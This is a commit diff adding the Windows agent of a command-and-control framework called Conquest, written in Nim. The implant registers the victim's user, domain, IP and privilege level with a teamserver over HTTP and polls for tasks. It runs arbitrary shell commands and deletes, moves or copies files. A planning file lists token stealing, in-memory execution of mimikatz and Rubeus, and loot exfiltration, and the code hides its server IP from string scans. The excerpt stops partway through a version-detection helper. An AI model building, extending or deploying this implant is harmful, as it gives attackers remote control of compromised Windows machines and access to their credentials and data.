Updated directory structure.
This commit is contained in:
13
src/agents/README.md
Normal file
13
src/agents/README.md
Normal file
@@ -0,0 +1,13 @@
|
||||
# Conquest Agents
|
||||
|
||||
For cross-compilation from UNIX to Windows, use the following command:
|
||||
|
||||
```bash
|
||||
nim --os:windows --cpu:amd64 --gcc.exe:x86_64-w64-mingw32-gcc --gcc.linkerexe:x86_64-w64-mingw32-gcc -d:release c client.nim
|
||||
```
|
||||
|
||||
or
|
||||
|
||||
```
|
||||
./build.sh
|
||||
```
|
||||
44
src/agents/commands.md
Normal file
44
src/agents/commands.md
Normal file
@@ -0,0 +1,44 @@
|
||||
# "Monarch" Agent commands:
|
||||
|
||||
House-keeping
|
||||
-------------
|
||||
- [x] sleep : Set sleep obfuscation duration to a different value and persist that value in the agent
|
||||
|
||||
Basic API-only Commands
|
||||
-----------------------
|
||||
- [x] pwd : Get current working directory
|
||||
- [x] cd : Change directory
|
||||
- [x] ls/dir : List all files in directory (including hidden ones)
|
||||
- [x] rm : Remove a file
|
||||
- [x] rmdir : Remove a empty directory
|
||||
- [x] mv : Move a file
|
||||
- [x] cp : Copy a file
|
||||
- [ ] cat/type : Display contents of a file
|
||||
- [ ] env : Display environment variables
|
||||
- [ ] ps : List processes
|
||||
- [ ] whoami : Get UID and privileges, etc.
|
||||
|
||||
- [ ] token : Token impersonation
|
||||
- [ ] make : Create a token from a user's plaintext password (LogonUserA, ImpersonateLoggedOnUser)
|
||||
- [ ] steal : Steal the access token from a process (OpenProcess, OpenProcessToken, DuplicateToken, ImpersonateLoggedOnUser)
|
||||
- [ ] use : Impersonate a token from the token vault (ImpersonateLoggedOnUser) -> update username like in Cobalt Strike
|
||||
- [ ] rev2self : Revert to original logon session (RevertToSelf)
|
||||
|
||||
Execution Commands
|
||||
------------------
|
||||
- [x] shell : Execute shell command (to be implemented using Windows APIs instead of execCmdEx)
|
||||
- [ ] bof : Execute Beacon Object File in memory and retrieve output (bof /local/path/file.o)
|
||||
- Read from listener endpoint directly to memory
|
||||
- Base for all kinds of BOFs (Situational Awareness, ...)
|
||||
- [ ] pe : Execute PE file in memory and retrieve output (pe /local/path/mimikatz.exe)
|
||||
- [ ] dotnet : Execute .NET assembly inline in memory and retrieve output (dotnet /local/path/Rubeus.exe )
|
||||
|
||||
Post-Exploitation
|
||||
-----------------
|
||||
- [ ] upload : Upload file from server to agent (upload /local/path/to/file C:\Windows\Tasks)
|
||||
- File to be downloaded moved to specific endpoint on listener, e.g. GET /<listener>/<agent>/<upload-task>/file
|
||||
- Read from webserver and written to disk
|
||||
- [ ] download : Download file from agent to teamserver
|
||||
- Create loot directory for agent to store files in
|
||||
- Read file into memory and send byte stream to specific endpoint, e.g. POST /<listener>/<agent>/<download>-task/file
|
||||
- Encrypt file in-transit!!!
|
||||
111
src/agents/monarch/agentinfo.nim
Normal file
111
src/agents/monarch/agentinfo.nim
Normal file
@@ -0,0 +1,111 @@
|
||||
import winim, os, net, strformat, strutils, registry
|
||||
|
||||
import ./[types, utils]
|
||||
|
||||
# Hostname/Computername
|
||||
proc getHostname*(): string =
|
||||
var
|
||||
buffer = newWString(CNLEN + 1)
|
||||
dwSize = DWORD buffer.len
|
||||
|
||||
GetComputerNameW(&buffer, &dwSize)
|
||||
return $buffer[0 ..< int(dwSize)]
|
||||
|
||||
# Domain Name
|
||||
proc getDomain*(): string =
|
||||
const ComputerNameDnsDomain = 2 # COMPUTER_NAME_FORMAT (https://learn.microsoft.com/en-us/windows/win32/api/sysinfoapi/ne-sysinfoapi-computer_name_format)
|
||||
var
|
||||
buffer = newWString(UNLEN + 1)
|
||||
dwSize = DWORD buffer.len
|
||||
|
||||
GetComputerNameExW(ComputerNameDnsDomain, &buffer, &dwSize)
|
||||
return $buffer[ 0 ..< int(dwSize)]
|
||||
|
||||
# Username
|
||||
proc getUsername*(): string =
|
||||
const NameSamCompatible = 2 # EXTENDED_NAME_FORMAT (https://learn.microsoft.com/de-de/windows/win32/api/secext/ne-secext-extended_name_format)
|
||||
|
||||
var
|
||||
buffer = newWString(UNLEN + 1)
|
||||
dwSize = DWORD buffer.len
|
||||
|
||||
if getDomain() != "":
|
||||
# If domain-joined, return username in format DOMAIN\USERNAME
|
||||
GetUserNameExW(NameSamCompatible, &buffer, &dwSize)
|
||||
else:
|
||||
# If not domain-joined, only return USERNAME
|
||||
discard GetUsernameW(&buffer, &dwSize)
|
||||
|
||||
return $buffer[0 ..< int(dwSize)]
|
||||
|
||||
# Current process name
|
||||
proc getProcessExe*(): string =
|
||||
let
|
||||
hProcess: HANDLE = GetCurrentProcess()
|
||||
buffer = newWString(MAX_PATH + 1)
|
||||
|
||||
try:
|
||||
if hProcess != 0:
|
||||
if GetModuleFileNameExW(hProcess, 0, buffer, MAX_PATH):
|
||||
# .extractFilename() from the 'os' module gets the name of the executable from the full process path
|
||||
# We replace trailing NULL bytes to prevent them from being sent as JSON data
|
||||
return string($buffer).extractFilename().replace("\u0000", "")
|
||||
finally:
|
||||
CloseHandle(hProcess)
|
||||
|
||||
# Current process ID
|
||||
proc getProcessId*(): int =
|
||||
return int(GetCurrentProcessId())
|
||||
|
||||
# Current process elevation/integrity level
|
||||
proc isElevated*(): bool =
|
||||
# isAdmin() function from the 'os' module returns whether the process is executed with administrative privileges
|
||||
return isAdmin()
|
||||
|
||||
# IPv4 Address (Internal)
|
||||
proc getIPv4Address*(): string =
|
||||
# getPrimaryIPAddr from the 'net' module finds the local IP address, usually assigned to eth0 on LAN or wlan0 on WiFi, used to reach an external address. No traffic is sent
|
||||
return $getPrimaryIpAddr()
|
||||
|
||||
# Windows Version fingerprinting
|
||||
proc getProductType(): ProductType =
|
||||
# The product key is retrieved from the registry
|
||||
# HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ProductOptions
|
||||
# ProductType REG_SZ WinNT
|
||||
# Possible values are:
|
||||
# LanmanNT -> Server/Domain Controller
|
||||
# ServerNT -> Server
|
||||
# WinNT -> Workstation
|
||||
|
||||
# Using the 'registry' module, we can get the exact registry value
|
||||
case getUnicodeValue("""SYSTEM\CurrentControlSet\Control\ProductOptions""", "ProductType", HKEY_LOCAL_MACHINE)
|
||||
of "WinNT":
|
||||
return WORKSTATION
|
||||
of "ServerNT":
|
||||
return SERVER
|
||||
of "LanmanNT":
|
||||
return DC
|
||||
|
||||
proc getOSVersion*(): string =
|
||||
|
||||
proc rtlGetVersion(lpVersionInformation: var types.OSVersionInfoExW): NTSTATUS
|
||||
{.cdecl, importc: "RtlGetVersion", dynlib: "ntdll.dll".}
|
||||
|
||||
when defined(windows):
|
||||
var osInfo: types.OSVersionInfoExW
|
||||
discard rtlGetVersion(osInfo)
|
||||
# echo $int(osInfo.dwMajorVersion)
|
||||
# echo $int(osInfo.dwMinorVersion)
|
||||
# echo $int(osInfo.dwBuildNumber)
|
||||
|
||||
# RtlGetVersion does not actually set the Product Type, which is required to differentiate
|
||||
# between workstation and server systems. The value is set to 0, which would lead to all systems being "unknown"
|
||||
# Normally, a value of 1 indicates a workstation os, while other values represent servers
|
||||
# echo $int(osInfo.wProductType).toHex
|
||||
|
||||
# We instead retrieve the
|
||||
return getWindowsVersion(osInfo, getProductType())
|
||||
else:
|
||||
return "Unknown"
|
||||
|
||||
|
||||
4
src/agents/monarch/build.sh
Normal file
4
src/agents/monarch/build.sh
Normal file
@@ -0,0 +1,4 @@
|
||||
#!/bin/bash
|
||||
|
||||
CONQUEST_ROOT="/mnt/c/Users/jakob/Documents/Projects/conquest"
|
||||
nim --os:windows --cpu:amd64 --gcc.exe:x86_64-w64-mingw32-gcc --gcc.linkerexe:x86_64-w64-mingw32-gcc -d:release --outdir:"$CONQUEST_ROOT/bin" -o:"monarch.x64.exe" c $CONQUEST_ROOT/src/agents/monarch/monarch.nim
|
||||
3
src/agents/monarch/commands/commands.nim
Normal file
3
src/agents/monarch/commands/commands.nim
Normal file
@@ -0,0 +1,3 @@
|
||||
import ./[shell, sleep, filesystem]
|
||||
|
||||
export shell, sleep, filesystem
|
||||
332
src/agents/monarch/commands/filesystem.nim
Normal file
332
src/agents/monarch/commands/filesystem.nim
Normal file
@@ -0,0 +1,332 @@
|
||||
import os, strutils, strformat, base64, winim, times, algorithm, json
|
||||
|
||||
import ../types
|
||||
|
||||
# Retrieve current working directory
|
||||
proc taskPwd*(task: Task): TaskResult =
|
||||
|
||||
echo fmt"Retrieving current working directory."
|
||||
|
||||
try:
|
||||
|
||||
# Get current working directory using GetCurrentDirectory
|
||||
let
|
||||
buffer = newWString(MAX_PATH + 1)
|
||||
length = GetCurrentDirectoryW(MAX_PATH, &buffer)
|
||||
|
||||
if length == 0:
|
||||
raise newException(OSError, fmt"Failed to get working directory ({GetLastError()}).")
|
||||
|
||||
return TaskResult(
|
||||
task: task.id,
|
||||
agent: task.agent,
|
||||
data: encode($buffer[0 ..< (int)length] & "\n"),
|
||||
status: Completed
|
||||
)
|
||||
|
||||
except CatchableError as err:
|
||||
return TaskResult(
|
||||
task: task.id,
|
||||
agent: task.agent,
|
||||
data: encode(fmt"An error occured: {err.msg}" & "\n"),
|
||||
status: Failed
|
||||
)
|
||||
|
||||
# Change working directory
|
||||
proc taskCd*(task: Task): TaskResult =
|
||||
|
||||
# Parse arguments
|
||||
let targetDirectory = parseJson(task.args)["directory"].getStr()
|
||||
|
||||
echo fmt"Changing current working directory to {targetDirectory}."
|
||||
|
||||
try:
|
||||
# Get current working directory using GetCurrentDirectory
|
||||
if SetCurrentDirectoryW(targetDirectory) == FALSE:
|
||||
raise newException(OSError, fmt"Failed to change working directory ({GetLastError()}).")
|
||||
|
||||
return TaskResult(
|
||||
task: task.id,
|
||||
agent: task.agent,
|
||||
data: encode(""),
|
||||
status: Completed
|
||||
)
|
||||
|
||||
except CatchableError as err:
|
||||
return TaskResult(
|
||||
task: task.id,
|
||||
agent: task.agent,
|
||||
data: encode(fmt"An error occured: {err.msg}" & "\n"),
|
||||
status: Failed
|
||||
)
|
||||
|
||||
# List files and directories at a specific or at the current path
|
||||
proc taskDir*(task: Task): TaskResult =
|
||||
|
||||
# Parse arguments
|
||||
var targetDirectory = parseJson(task.args)["directory"].getStr()
|
||||
|
||||
echo fmt"Listing files and directories."
|
||||
|
||||
try:
|
||||
# Check if users wants to list files in the current working directory or at another path
|
||||
|
||||
if targetDirectory == "":
|
||||
# Get current working directory using GetCurrentDirectory
|
||||
let
|
||||
cwdBuffer = newWString(MAX_PATH + 1)
|
||||
cwdLength = GetCurrentDirectoryW(MAX_PATH, &cwdBuffer)
|
||||
|
||||
if cwdLength == 0:
|
||||
raise newException(OSError, fmt"Failed to get working directory ({GetLastError()}).")
|
||||
|
||||
targetDirectory = $cwdBuffer[0 ..< (int)cwdLength]
|
||||
|
||||
# Prepare search pattern (target directory + \*)
|
||||
let searchPattern = targetDirectory & "\\*"
|
||||
let searchPatternW = newWString(searchPattern)
|
||||
|
||||
var
|
||||
findData: WIN32_FIND_DATAW
|
||||
hFind: HANDLE
|
||||
output = ""
|
||||
entries: seq[string] = @[]
|
||||
totalFiles = 0
|
||||
totalDirs = 0
|
||||
|
||||
# Find files and directories in target directory
|
||||
hFind = FindFirstFileW(searchPatternW, &findData)
|
||||
|
||||
if hFind == INVALID_HANDLE_VALUE:
|
||||
raise newException(OSError, fmt"Failed to find files ({GetLastError()}).")
|
||||
|
||||
# Directory was found and can be listed
|
||||
else:
|
||||
output = fmt"Directory: {targetDirectory}" & "\n\n"
|
||||
output &= "Mode LastWriteTime Length Name" & "\n"
|
||||
output &= "---- ------------- ------ ----" & "\n"
|
||||
|
||||
# Process all files and directories
|
||||
while true:
|
||||
let fileName = $cast[WideCString](addr findData.cFileName[0])
|
||||
|
||||
# Skip current and parent directory entries
|
||||
if fileName != "." and fileName != "..":
|
||||
# Get file attributes and size
|
||||
let isDir = (findData.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY) != 0
|
||||
let isHidden = (findData.dwFileAttributes and FILE_ATTRIBUTE_HIDDEN) != 0
|
||||
let isReadOnly = (findData.dwFileAttributes and FILE_ATTRIBUTE_READONLY) != 0
|
||||
let isArchive = (findData.dwFileAttributes and FILE_ATTRIBUTE_ARCHIVE) != 0
|
||||
let fileSize = (int64(findData.nFileSizeHigh) shl 32) or int64(findData.nFileSizeLow)
|
||||
|
||||
# Handle flags
|
||||
var mode = ""
|
||||
if isDir:
|
||||
mode = "d"
|
||||
inc totalDirs
|
||||
else:
|
||||
mode = "-"
|
||||
inc totalFiles
|
||||
|
||||
if isArchive:
|
||||
mode &= "a"
|
||||
else:
|
||||
mode &= "-"
|
||||
|
||||
if isReadOnly:
|
||||
mode &= "r"
|
||||
else:
|
||||
mode &= "-"
|
||||
|
||||
if isHidden:
|
||||
mode &= "h"
|
||||
else:
|
||||
mode &= "-"
|
||||
|
||||
if (findData.dwFileAttributes and FILE_ATTRIBUTE_SYSTEM) != 0:
|
||||
mode &= "s"
|
||||
else:
|
||||
mode &= "-"
|
||||
|
||||
# Convert FILETIME to local time and format
|
||||
var
|
||||
localTime: FILETIME
|
||||
systemTime: SYSTEMTIME
|
||||
dateTimeStr = "01/01/1970 00:00:00"
|
||||
|
||||
if FileTimeToLocalFileTime(&findData.ftLastWriteTime, &localTime) != 0 and FileTimeToSystemTime(&localTime, &systemTime) != 0:
|
||||
# Format date and time in PowerShell style
|
||||
dateTimeStr = fmt"{systemTime.wDay:02d}/{systemTime.wMonth:02d}/{systemTime.wYear} {systemTime.wHour:02d}:{systemTime.wMinute:02d}:{systemTime.wSecond:02d}"
|
||||
|
||||
# Format file size
|
||||
var sizeStr = ""
|
||||
if isDir:
|
||||
sizeStr = "<DIR>"
|
||||
else:
|
||||
sizeStr = ($fileSize).replace("-", "")
|
||||
|
||||
# Build the entry line
|
||||
let entryLine = fmt"{mode:<7} {dateTimeStr:<20} {sizeStr:>10} {fileName}"
|
||||
entries.add(entryLine)
|
||||
|
||||
# Find next file
|
||||
if FindNextFileW(hFind, &findData) == 0:
|
||||
break
|
||||
|
||||
# Close find handle
|
||||
discard FindClose(hFind)
|
||||
|
||||
# Add entries to output after sorting them (directories first, files afterwards)
|
||||
entries.sort do (a, b: string) -> int:
|
||||
let aIsDir = a[0] == 'd'
|
||||
let bIsDir = b[0] == 'd'
|
||||
|
||||
if aIsDir and not bIsDir:
|
||||
return -1
|
||||
elif not aIsDir and bIsDir:
|
||||
return 1
|
||||
else:
|
||||
# Extract filename for comparison (last part after the last space)
|
||||
let aParts = a.split(" ")
|
||||
let bParts = b.split(" ")
|
||||
let aName = aParts[^1]
|
||||
let bName = bParts[^1]
|
||||
return cmp(aName.toLowerAscii(), bName.toLowerAscii())
|
||||
|
||||
for entry in entries:
|
||||
output &= entry & "\n"
|
||||
|
||||
# Add summary of how many files/directories have been found
|
||||
output &= "\n" & fmt"{totalFiles} file(s)" & "\n"
|
||||
output &= fmt"{totalDirs} dir(s)" & "\n"
|
||||
|
||||
return TaskResult(
|
||||
task: task.id,
|
||||
agent: task.agent,
|
||||
data: encode(output),
|
||||
status: Completed
|
||||
)
|
||||
|
||||
except CatchableError as err:
|
||||
return TaskResult(
|
||||
task: task.id,
|
||||
agent: task.agent,
|
||||
data: encode(fmt"An error occured: {err.msg}" & "\n"),
|
||||
status: Failed
|
||||
)
|
||||
|
||||
# Remove file
|
||||
proc taskRm*(task: Task): TaskResult =
|
||||
|
||||
# Parse arguments
|
||||
let target = parseJson(task.args)["file"].getStr()
|
||||
|
||||
echo fmt"Deleting file {target}."
|
||||
|
||||
try:
|
||||
if DeleteFile(target) == FALSE:
|
||||
raise newException(OSError, fmt"Failed to delete file ({GetLastError()}).")
|
||||
|
||||
return TaskResult(
|
||||
task: task.id,
|
||||
agent: task.agent,
|
||||
data: encode(""),
|
||||
status: Completed
|
||||
)
|
||||
|
||||
except CatchableError as err:
|
||||
return TaskResult(
|
||||
task: task.id,
|
||||
agent: task.agent,
|
||||
data: encode(fmt"An error occured: {err.msg}" & "\n"),
|
||||
status: Failed
|
||||
)
|
||||
|
||||
# Remove directory
|
||||
proc taskRmdir*(task: Task): TaskResult =
|
||||
|
||||
# Parse arguments
|
||||
let target = parseJson(task.args)["directory"].getStr()
|
||||
|
||||
echo fmt"Deleting directory {target}."
|
||||
|
||||
try:
|
||||
if RemoveDirectoryA(target) == FALSE:
|
||||
raise newException(OSError, fmt"Failed to delete directory ({GetLastError()}).")
|
||||
|
||||
return TaskResult(
|
||||
task: task.id,
|
||||
agent: task.agent,
|
||||
data: encode(""),
|
||||
status: Completed
|
||||
)
|
||||
|
||||
except CatchableError as err:
|
||||
return TaskResult(
|
||||
task: task.id,
|
||||
agent: task.agent,
|
||||
data: encode(fmt"An error occured: {err.msg}" & "\n"),
|
||||
status: Failed
|
||||
)
|
||||
|
||||
# Move file or directory
|
||||
proc taskMove*(task: Task): TaskResult =
|
||||
|
||||
# Parse arguments
|
||||
echo task.args
|
||||
let
|
||||
params = parseJson(task.args)
|
||||
lpExistingFileName = params["from"].getStr()
|
||||
lpNewFileName = params["to"].getStr()
|
||||
|
||||
echo fmt"Moving {lpExistingFileName} to {lpNewFileName}."
|
||||
|
||||
try:
|
||||
if MoveFile(lpExistingFileName, lpNewFileName) == FALSE:
|
||||
raise newException(OSError, fmt"Failed to move file or directory ({GetLastError()}).")
|
||||
|
||||
return TaskResult(
|
||||
task: task.id,
|
||||
agent: task.agent,
|
||||
data: encode(""),
|
||||
status: Completed
|
||||
)
|
||||
|
||||
except CatchableError as err:
|
||||
return TaskResult(
|
||||
task: task.id,
|
||||
agent: task.agent,
|
||||
data: encode(fmt"An error occured: {err.msg}" & "\n"),
|
||||
status: Failed
|
||||
)
|
||||
|
||||
# Copy file or directory
|
||||
proc taskCopy*(task: Task): TaskResult =
|
||||
|
||||
# Parse arguments
|
||||
let
|
||||
params = parseJson(task.args)
|
||||
lpExistingFileName = params["from"].getStr()
|
||||
lpNewFileName = params["to"].getStr()
|
||||
|
||||
echo fmt"Copying {lpExistingFileName} to {lpNewFileName}."
|
||||
|
||||
try:
|
||||
# Copy file to new location, overwrite if a file with the same name already exists
|
||||
if CopyFile(lpExistingFileName, lpNewFileName, FALSE) == FALSE:
|
||||
raise newException(OSError, fmt"Failed to copy file or directory ({GetLastError()}).")
|
||||
|
||||
return TaskResult(
|
||||
task: task.id,
|
||||
agent: task.agent,
|
||||
data: encode(""),
|
||||
status: Completed
|
||||
)
|
||||
|
||||
except CatchableError as err:
|
||||
return TaskResult(
|
||||
task: task.id,
|
||||
agent: task.agent,
|
||||
data: encode(fmt"An error occured: {err.msg}" & "\n"),
|
||||
status: Failed
|
||||
)
|
||||
30
src/agents/monarch/commands/shell.nim
Normal file
30
src/agents/monarch/commands/shell.nim
Normal file
@@ -0,0 +1,30 @@
|
||||
import winim, osproc, strutils, strformat, base64, json
|
||||
|
||||
import ../types
|
||||
|
||||
proc taskShell*(task: Task): TaskResult =
|
||||
|
||||
# Parse arguments JSON string to obtain specific values
|
||||
let
|
||||
params = parseJson(task.args)
|
||||
command = params["command"].getStr()
|
||||
arguments = params["arguments"].getStr()
|
||||
|
||||
echo fmt"Executing command {command} with arguments {arguments}"
|
||||
|
||||
try:
|
||||
let (output, status) = execCmdEx(fmt("{command} {arguments}"))
|
||||
return TaskResult(
|
||||
task: task.id,
|
||||
agent: task.agent,
|
||||
data: encode(output),
|
||||
status: Completed
|
||||
)
|
||||
|
||||
except CatchableError as err:
|
||||
return TaskResult(
|
||||
task: task.id,
|
||||
agent: task.agent,
|
||||
data: encode(fmt"An error occured: {err.msg}" & "\n"),
|
||||
status: Failed
|
||||
)
|
||||
27
src/agents/monarch/commands/sleep.nim
Normal file
27
src/agents/monarch/commands/sleep.nim
Normal file
@@ -0,0 +1,27 @@
|
||||
import os, strutils, strformat, base64, json
|
||||
|
||||
import ../types
|
||||
|
||||
proc taskSleep*(task: Task): TaskResult =
|
||||
|
||||
# Parse task parameter
|
||||
let delay = parseJson(task.args)["delay"].getInt()
|
||||
|
||||
echo fmt"Sleeping for {delay} seconds."
|
||||
|
||||
try:
|
||||
sleep(delay * 1000)
|
||||
return TaskResult(
|
||||
task: task.id,
|
||||
agent: task.agent,
|
||||
data: encode(""),
|
||||
status: Completed
|
||||
)
|
||||
|
||||
except CatchableError as err:
|
||||
return TaskResult(
|
||||
task: task.id,
|
||||
agent: task.agent,
|
||||
data: encode(fmt"An error occured: {err.msg}" & "\n"),
|
||||
status: Failed
|
||||
)
|
||||
74
src/agents/monarch/http.nim
Normal file
74
src/agents/monarch/http.nim
Normal file
@@ -0,0 +1,74 @@
|
||||
import httpclient, json, strformat, asyncdispatch
|
||||
|
||||
import ./[types, agentinfo]
|
||||
|
||||
proc register*(config: AgentConfig): string =
|
||||
|
||||
let client = newAsyncHttpClient()
|
||||
|
||||
# Define headers
|
||||
client.headers = newHttpHeaders({ "Content-Type": "application/json" })
|
||||
|
||||
# Create registration payload
|
||||
let body = %*{
|
||||
"username": getUsername(),
|
||||
"hostname":getHostname(),
|
||||
"domain": getDomain(),
|
||||
"ip": getIPv4Address(),
|
||||
"os": getOSVersion(),
|
||||
"process": getProcessExe(),
|
||||
"pid": getProcessId(),
|
||||
"elevated": isElevated(),
|
||||
"sleep": config.sleep
|
||||
}
|
||||
echo $body
|
||||
|
||||
try:
|
||||
# Register agent to the Conquest server
|
||||
return waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/{config.listener}/register", $body)
|
||||
except CatchableError as err:
|
||||
echo "[-] [register]:", err.msg
|
||||
quit(0)
|
||||
finally:
|
||||
client.close()
|
||||
|
||||
proc getTasks*(config: AgentConfig, agent: string): seq[Task] =
|
||||
|
||||
let client = newAsyncHttpClient()
|
||||
var responseBody = ""
|
||||
|
||||
try:
|
||||
# Register agent to the Conquest server
|
||||
responseBody = waitFor client.getContent(fmt"http://{config.ip}:{$config.port}/{config.listener}/{agent}/tasks")
|
||||
return parseJson(responseBody).to(seq[Task])
|
||||
|
||||
except CatchableError as err:
|
||||
# When the listener is not reachable, don't kill the application, but check in at the next time
|
||||
echo "[-] [getTasks]: ", responseBody
|
||||
finally:
|
||||
client.close()
|
||||
|
||||
return @[]
|
||||
|
||||
proc postResults*(config: AgentConfig, agent: string, taskResult: TaskResult): bool =
|
||||
|
||||
let client = newAsyncHttpClient()
|
||||
|
||||
# Define headers
|
||||
client.headers = newHttpHeaders({ "Content-Type": "application/json" })
|
||||
|
||||
let taskJson = %taskResult
|
||||
|
||||
echo $taskJson
|
||||
|
||||
try:
|
||||
# Register agent to the Conquest server
|
||||
discard waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/{config.listener}/{agent}/{taskResult.task}/results", $taskJson)
|
||||
except CatchableError as err:
|
||||
# When the listener is not reachable, don't kill the application, but check in at the next time
|
||||
echo "[-] [postResults]: ", err.msg
|
||||
return false
|
||||
finally:
|
||||
client.close()
|
||||
|
||||
return true
|
||||
73
src/agents/monarch/monarch.nim
Normal file
73
src/agents/monarch/monarch.nim
Normal file
@@ -0,0 +1,73 @@
|
||||
import strformat, os, times
|
||||
import winim
|
||||
|
||||
import ./[types, http, taskHandler]
|
||||
|
||||
const ListenerUuid {.strdefine.}: string = ""
|
||||
const Octet1 {.intdefine.}: int = 0
|
||||
const Octet2 {.intdefine.}: int = 0
|
||||
const Octet3 {.intdefine.}: int = 0
|
||||
const Octet4 {.intdefine.}: int = 0
|
||||
const ListenerPort {.intdefine.}: int = 5555
|
||||
const SleepDelay {.intdefine.}: int = 10
|
||||
|
||||
proc main() =
|
||||
|
||||
#[
|
||||
The process is the following:
|
||||
1. Agent reads configuration file, which contains data relevant to the listener, such as IP, PORT, UUID and sleep settings
|
||||
2. Agent collects information relevant for the registration (using Windows API)
|
||||
3. Agent registers to the teamserver
|
||||
4. Agent moves into an infinite loop, which is only exited when the agent is tasked to terminate
|
||||
]#
|
||||
|
||||
# The agent configuration is read at compile time using define/-d statements in nim.cfg
|
||||
# This configuration file can be dynamically generated from the teamserver management interface
|
||||
# Downside to this is obviously that readable strings, such as the listener UUID can be found in the binary
|
||||
when not defined(ListenerUuid) or not defined(Octet1) or not defined(Octet2) or not defined(Octet3) or not defined(Octet4) or not defined(ListenerPort) or not defined(SleepDelay):
|
||||
echo "Missing agent configuration."
|
||||
quit(0)
|
||||
|
||||
# Reconstruct IP address, which is split into integers to prevent it from showing up as a hardcoded-string in the binary
|
||||
let address = $Octet1 & "." & $Octet2 & "." & $Octet3 & "." & $Octet4
|
||||
|
||||
# Create agent configuration
|
||||
var config = AgentConfig(
|
||||
listener: ListenerUuid,
|
||||
ip: address,
|
||||
port: ListenerPort,
|
||||
sleep: SleepDelay
|
||||
)
|
||||
|
||||
let agent = config.register()
|
||||
echo fmt"[+] [{agent}] Agent registered."
|
||||
|
||||
#[
|
||||
Agent routine:
|
||||
1. Sleep Obfuscation
|
||||
2. Retrieve task from /tasks endpoint
|
||||
3. Execute task and post result to /results
|
||||
4. If additional tasks have been fetched, go to 2.
|
||||
5. If no more tasks need to be executed, go to 1.
|
||||
]#
|
||||
while true:
|
||||
|
||||
sleep(config.sleep * 1000)
|
||||
|
||||
let date: string = now().format("dd-MM-yyyy HH:mm:ss")
|
||||
echo fmt"[{date}] Checking in."
|
||||
|
||||
# Retrieve task queue from the teamserver for the current agent
|
||||
let tasks: seq[Task] = config.getTasks(agent)
|
||||
|
||||
if tasks.len <= 0:
|
||||
echo "[*] No tasks to execute."
|
||||
continue
|
||||
|
||||
# Execute all retrieved tasks and return their output to the server
|
||||
for task in tasks:
|
||||
let result: TaskResult = task.handleTask(config)
|
||||
discard config.postResults(agent, result)
|
||||
|
||||
when isMainModule:
|
||||
main()
|
||||
8
src/agents/monarch/nim.cfg
Normal file
8
src/agents/monarch/nim.cfg
Normal file
@@ -0,0 +1,8 @@
|
||||
# Agent configuration
|
||||
-d:ListenerUuid="JEBFQPEP"
|
||||
-d:Octet1="127"
|
||||
-d:Octet2="0"
|
||||
-d:Octet3="0"
|
||||
-d:Octet4="1"
|
||||
-d:ListenerPort=5555
|
||||
-d:SleepDelay=5
|
||||
34
src/agents/monarch/taskHandler.nim
Normal file
34
src/agents/monarch/taskHandler.nim
Normal file
@@ -0,0 +1,34 @@
|
||||
import strutils, tables, json
|
||||
import ./types
|
||||
import ./commands/commands
|
||||
|
||||
proc handleTask*(task: Task, config: AgentConfig): TaskResult =
|
||||
|
||||
var taskResult: TaskResult
|
||||
|
||||
let handlers = {
|
||||
ExecuteShell: taskShell,
|
||||
Sleep: taskSleep,
|
||||
GetWorkingDirectory: taskPwd,
|
||||
SetWorkingDirectory: taskCd,
|
||||
ListDirectory: taskDir,
|
||||
RemoveFile: taskRm,
|
||||
RemoveDirectory: taskRmdir,
|
||||
Move: taskMove,
|
||||
Copy: taskCopy
|
||||
}.toTable
|
||||
|
||||
# Handle task command
|
||||
taskResult = handlers[task.command](task)
|
||||
echo taskResult.data
|
||||
|
||||
# Handle actions on specific commands
|
||||
case task.command:
|
||||
of Sleep:
|
||||
if taskResult.status == Completed:
|
||||
config.sleep = parseJson(task.args)["delay"].getInt()
|
||||
else:
|
||||
discard
|
||||
|
||||
# Return the result
|
||||
return taskResult
|
||||
32
src/agents/monarch/types.nim
Normal file
32
src/agents/monarch/types.nim
Normal file
@@ -0,0 +1,32 @@
|
||||
import winim, tables
|
||||
import ../../types
|
||||
export Task, CommandType, TaskResult, TaskStatus
|
||||
|
||||
type
|
||||
ProductType* = enum
|
||||
UNKNOWN = 0
|
||||
WORKSTATION = 1
|
||||
DC = 2
|
||||
SERVER = 3
|
||||
|
||||
|
||||
# API Structs
|
||||
type OSVersionInfoExW* {.importc: "OSVERSIONINFOEXW", header: "<windows.h>".} = object
|
||||
dwOSVersionInfoSize*: ULONG
|
||||
dwMajorVersion*: ULONG
|
||||
dwMinorVersion*: ULONG
|
||||
dwBuildNumber*: ULONG
|
||||
dwPlatformId*: ULONG
|
||||
szCSDVersion*: array[128, WCHAR]
|
||||
wServicePackMajor*: USHORT
|
||||
wServicePackMinor*: USHORT
|
||||
wSuiteMask*: USHORT
|
||||
wProductType*: UCHAR
|
||||
wReserved*: UCHAR
|
||||
|
||||
type
|
||||
AgentConfig* = ref object
|
||||
listener*: string
|
||||
ip*: string
|
||||
port*: int
|
||||
sleep*: int
|
||||
65
src/agents/monarch/utils.nim
Normal file
65
src/agents/monarch/utils.nim
Normal file
@@ -0,0 +1,65 @@
|
||||
import strformat
|
||||
import ./types
|
||||
|
||||
proc getWindowsVersion*(info: OSVersionInfoExW, productType: ProductType): string =
|
||||
let
|
||||
major = info.dwMajorVersion
|
||||
minor = info.dwMinorVersion
|
||||
build = info.dwBuildNumber
|
||||
spMajor = info.wServicePackMajor
|
||||
|
||||
if major == 10 and minor == 0:
|
||||
if productType == WORKSTATION:
|
||||
if build >= 22000:
|
||||
return "Windows 11"
|
||||
else:
|
||||
return "Windows 10"
|
||||
|
||||
else:
|
||||
case build:
|
||||
of 20348:
|
||||
return "Windows Server 2022"
|
||||
of 17763:
|
||||
return "Windows Server 2019"
|
||||
of 14393:
|
||||
return "Windows Server 2016"
|
||||
else:
|
||||
return fmt"Windows Server 10.x (Build: {build})"
|
||||
|
||||
elif major == 6:
|
||||
case minor:
|
||||
of 3:
|
||||
if productType == WORKSTATION:
|
||||
return "Windows 8.1"
|
||||
else:
|
||||
return "Windows Server 2012 R2"
|
||||
of 2:
|
||||
if productType == WORKSTATION:
|
||||
return "Windows 8"
|
||||
else:
|
||||
return "Windows Server 2012"
|
||||
of 1:
|
||||
if productType == WORKSTATION:
|
||||
return "Windows 7"
|
||||
else:
|
||||
return "Windows Server 2008 R2"
|
||||
of 0:
|
||||
if productType == WORKSTATION:
|
||||
return "Windows Vista"
|
||||
else:
|
||||
